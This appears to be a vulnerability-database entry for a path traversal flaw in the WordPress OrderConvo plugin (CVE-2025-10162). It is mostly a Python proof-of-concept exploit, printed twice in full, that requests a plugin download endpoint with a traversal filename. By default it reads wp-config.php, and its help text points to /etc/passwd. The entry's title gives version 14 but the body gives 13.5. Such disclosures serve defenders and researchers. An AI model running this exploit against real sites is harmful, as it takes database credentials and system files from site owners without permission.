7.5
/ 10
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Description
Proof of concept exploit that demonstrates a path traversal vulnerability in WordPress OrderConvo plugin version 13.5...
Basic Information
ID
PACKETSTORM:222473
Published
Jun 2, 2026 at 00:00
Affected Product
Affected Versions
# Exploit Title: WordPress OrderConvo 14 - Path Traversal
# Date: 05-31-2026
# Exploit Author: Diamorphine
# Vendor Homepage: https://www.najeebmedia.com/
# Software Link: https://wordpress.org/plugins/admin-and-client-message-after-order-for-woocommerce/
# Version: 13.5
# Tested on: Debian
# CVE : CVE-2025-10162
import httpx
import asyncio
import argparse
from urllib.parse import urljoin
import sys
async def main(base_url, file):
async with httpx.AsyncClient(verify=False) as client:
try:
print('[*] Checking connection to target')
req = await client.get(url=base_url)
if req.status_code == 200:
print('[+] The target is alive, exploiting\n')
else:
print(f'[-] Unable to connect to the target. Code: {req.status_code}')
sys.exit()
except:
print(f'[-] Problem with connection to the target.')
sys.exit()
exp_url = urljoin(base_url, f'wp-json/wooconvo/v1/download-file?order_id=1&filename={file}')
r = await client.get(url=exp_url)
if len(r.text) != 0:
print(r.text)
else:
print("[*] Unable to read file")
parser = argparse.ArgumentParser(description="Exploit for CVE-2025-10162")
parser.add_argument("-u", "--url", required=True, help="Target URL, e.g. https://test.local")
parser.add_argument("-f", "--filename", default="../../../../wp-config.php", help="Path to the file to read. Note: You must use deep path traversal sequences (e.g., ../../../../../etc/passwd) to break out of the web root and access sensitive system or WordPress files. (Default: ../../../../wp-config.php)")
args = parser.parse_args()
if __name__ == '__main__':
asyncio.run(main(args.url, args.filename))
# Date: 05-31-2026
# Exploit Author: Diamorphine
# Vendor Homepage: https://www.najeebmedia.com/
# Software Link: https://wordpress.org/plugins/admin-and-client-message-after-order-for-woocommerce/
# Version: 13.5
# Tested on: Debian
# CVE : CVE-2025-10162
import httpx
import asyncio
import argparse
from urllib.parse import urljoin
import sys
async def main(base_url, file):
async with httpx.AsyncClient(verify=False) as client:
try:
print('[*] Checking connection to target')
req = await client.get(url=base_url)
if req.status_code == 200:
print('[+] The target is alive, exploiting\n')
else:
print(f'[-] Unable to connect to the target. Code: {req.status_code}')
sys.exit()
except:
print(f'[-] Problem with connection to the target.')
sys.exit()
exp_url = urljoin(base_url, f'wp-json/wooconvo/v1/download-file?order_id=1&filename={file}')
r = await client.get(url=exp_url)
if len(r.text) != 0:
print(r.text)
else:
print("[*] Unable to read file")
parser = argparse.ArgumentParser(description="Exploit for CVE-2025-10162")
parser.add_argument("-u", "--url", required=True, help="Target URL, e.g. https://test.local")
parser.add_argument("-f", "--filename", default="../../../../wp-config.php", help="Path to the file to read. Note: You must use deep path traversal sequences (e.g., ../../../../../etc/passwd) to break out of the web root and access sensitive system or WordPress files. (Default: ../../../../wp-config.php)")
args = parser.parse_args()
if __name__ == '__main__':
asyncio.run(main(args.url, args.filename))